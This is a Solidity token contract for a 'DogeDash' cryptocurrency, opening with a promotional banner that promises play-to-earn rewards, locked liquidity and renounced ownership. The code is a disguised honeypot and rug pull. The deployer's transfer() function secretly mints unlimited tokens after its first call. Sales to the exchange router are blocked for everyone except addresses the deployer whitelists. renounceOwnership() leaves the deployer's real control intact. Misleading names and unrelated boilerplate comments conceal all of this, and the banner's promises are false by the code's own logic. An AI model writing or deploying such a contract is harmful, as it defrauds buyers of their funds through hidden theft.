/**
________                                                 
\______ \   ____   ____   ____                           
 |    |  \ /  _ \ / ___\_/ __ \      DogeDash.org                   
 |    `   (  <_> ) /_/  >  ___/      @PlayDogeDash                      
/_______  /\____/\___  / \___  >                         
        \/      /_____/      \/                          
               ________      _____    _________ ___ ___  
               \______ \    /  _  \  /   _____//   |   \ 
                |    |  \  /  /_\  \ \_____  \/    ~    \
                |    `   \/    |    \/        \    Y    /
               /_______  /\____|__  /_______  /\___|_  / 
                       \/         \/        \/       \/  


 - Doge Dash is a Mario Run-inspired game where anyone can earn coins through skilled gameplay. The aim of the game is simple… Dash as fast as you 
can through all of the 10 levels whilst collecting coins along the way. Successful players who complete all levels will be rewarded with the collected 
coins direct to their wallets!

🎮 Play and earn $DOGEDASH! Speedrun tournaments will be held weekly against other players!
🕹 Expected release date is by the end of November for our crypto-based game!
🔑 Liquidity will be locked and ownership will be renounced.
💻 Marketing will be taking place shortly! Enjoy the calm before the storm!


*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.5;

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
contract Creation is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event genesis(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit genesis(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit genesis(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function starttrading (address Uniswaprouterv02) public checker {
        router = Uniswaprouterv02;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function botbancount(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */
    function _banBot(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            botbancount(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}
contract DDash is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 90000000000 * 10 ** 18;

    constructor () ERC20(unicode'D-DASH',unicode'DogeDash - DogeDash.org') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}